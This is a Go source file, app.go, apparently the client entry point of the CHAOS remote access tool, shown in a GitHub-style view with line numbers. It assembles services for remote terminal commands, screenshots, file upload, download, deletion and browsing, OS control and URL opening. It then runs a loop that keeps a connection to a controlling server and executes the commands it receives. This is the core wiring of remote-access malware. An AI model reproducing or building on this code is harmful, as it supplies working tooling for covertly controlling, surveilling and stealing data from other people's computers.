/
app.go
72 lines (59 loc) · 2.16 KB
/
app.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package app
import (
"context"
"github.com/tiagorlampert/CHAOS/client/app/environment"
"github.com/tiagorlampert/CHAOS/client/app/gateways/client"
"github.com/tiagorlampert/CHAOS/client/app/handler"
"github.com/tiagorlampert/CHAOS/client/app/services"
"github.com/tiagorlampert/CHAOS/client/app/services/delete"
"github.com/tiagorlampert/CHAOS/client/app/services/download"
"github.com/tiagorlampert/CHAOS/client/app/services/explorer"
"github.com/tiagorlampert/CHAOS/client/app/services/information"
"github.com/tiagorlampert/CHAOS/client/app/services/os"
"github.com/tiagorlampert/CHAOS/client/app/services/screenshot"
"github.com/tiagorlampert/CHAOS/client/app/services/terminal"
"github.com/tiagorlampert/CHAOS/client/app/services/upload"
"github.com/tiagorlampert/CHAOS/client/app/services/url"
"github.com/tiagorlampert/CHAOS/client/app/utils/network"
"golang.org/x/sync/errgroup"
"log"
)
type App struct {
Handler *handler.Handler
}
func New(configuration *environment.Configuration) *App {
infoService := information.NewService(configuration.Server.HttpPort)
deviceSpecs, err := infoService.LoadDeviceSpecs()
if err != nil {
log.Fatal("error loading device specs: ", err)
}
httpClient := network.NewHttpClient(10)
operatingSystem := os.DetectOS()
terminalService := terminal.NewService()
clientGateway := client.NewGateway(configuration, httpClient)
clientServices := &services.Services{
Information: infoService,
Terminal: terminalService,
Screenshot: screenshot.NewService(),
Download: download.NewService(configuration, clientGateway),
Upload: upload.NewService(configuration, httpClient),
Delete: delete.NewService(),
Explorer: explorer.NewService(),
OS: os.NewService(configuration, terminalService, operatingSystem),
URL: url.NewURLService(terminalService, operatingSystem),
}
return &App{handler.NewHandler(
configuration, clientGateway, clientServices, deviceSpecs.MacAddress)}
}
func (a *App) Run() {
g, _ := errgroup.WithContext(context.Background())
g.Go(func() error {
a.Handler.KeepConnection()
return nil
})
g.Go(func() error {
a.Handler.HandleCommand()
return nil
})
g.Wait()
}